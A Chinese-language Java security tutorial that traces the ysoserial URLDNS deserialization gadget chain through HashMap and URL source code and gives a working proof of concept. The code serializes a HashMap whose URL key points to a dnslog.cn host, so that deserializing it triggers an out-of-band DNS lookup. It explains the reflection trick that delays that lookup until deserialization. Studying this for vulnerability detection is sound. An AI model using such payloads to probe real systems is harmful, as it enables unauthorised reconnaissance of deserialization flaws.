Java安全01——URLDNS链分析与利用

URLDNS链分析与利用

作用

• URLDNS 利用链只能发起 DNS 请求，不能执行命令，所以用于漏洞的检测
• 不限制JDK版本，使用Java内置类，无第三方依赖要求
• 可以进行无回显探测

利用链

​ 利用链可以查看开源项目：https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

利用链分析

1、确定最终的目标

​ 根据上面的利用链发现最后执行的函数为URL.hashCode()

​ 可以判断，如果直接return是不行的，所以需要执行到handler.hashCode()，并进一步执行getHostAddress()函数

​ 确定是InetAddress.getByName(host) 执行的DNS解析，并触发DNS回显

2、从头开始梳理，判断请求执行的条件

​ 基于对上面代码的分析，只要在反序列化的过程中执行到URL.hashCode()就可以出发DNS请求了

​ 那么就从HashMap.readobject()开始分析

HashMap.readobject()代码：

    private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {
..............................................................................省略前面无关的代码
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0) {
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        } else if (mappings == 0) {
            // use defaults
        } else if (mappings > 0) {
.............................................................................省略无关的代码
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false); 
            }
        }
    }

​ 所以执行到putVal()的条件是

int mappings获取键值对数量 =》 mappings>0

​ 继续查看HashMap.hash()详细内容

HashMap.hash()代码

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

执行逻辑

int mappings获取键值对数量 =》 mappings>0 =》 putVal() => hash(key) => key不为空 =》key.hashCode 这里实际执行的是URL.hashCode()

​ 这里需要注意的是，如果想要利用这个链，那么传入的数据应当是URL类型，所以应该去URL类的源码中查看其hashCode()

URL.hashCode()代码

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

​ 到此处就回到一开始分析的部分了，也就是只要执行URL.hashCode(key)就行了，其中Key为URL类对象

利用测试

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
        HashMap<URL,Integer> hashMap = new HashMap<>(); //创建一个HashMap对象
        URL url = new URL("http://hgbaug.dnslog.cn"); //创建一个URL对象，用于DNSLog回显测试
        Field hashCode = url.getClass().getDeclaredField("hashCode"); //通过反射机制获取url对象中的hashCode属性值
        hashCode.setAccessible(true);//hashCode由private int hashCode = -1定义，所以需要使用setAccessible
        hashCode.set(url,999);//这三行看下面的解释
        hashMap.put(url,999);
        hashCode.set(url,-1);
        //执行序列化操作
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
        objectOutputStream.writeObject(hashMap);
        //执行反序列化操作，并加载HashMap自定义的 readObject()，自此进入利用链
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));
        objectInputStream.readObject();
    }
    }

关于上述代码15行-17行的问题

​ 为什么要先设为非-1，然后再设置为-1呢？

​ 查看HashMap.put()的代码可以发现，这里也调用了putVal()

​ 如果此时hashcode的值为-1，那么就会直接进入流程利用链的后三个流程，如下：

putVal() => hash(key) => key不为空 =》key.hashCode 这里实际执行的是URL.hashCode()

​ 那么就会导致一个问题，代码没进入到反序列化就直接发起dns请求了，这会导致无法判断目标是否存在反序列化漏洞

​ 所以再put之前，需要让hashcode的值不为-1。等到put操作完成即将进入序列化和反序列化时再将其设为-1。进而达到判断目标是否有反序列化漏洞的目的

HashMap.put()代码

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }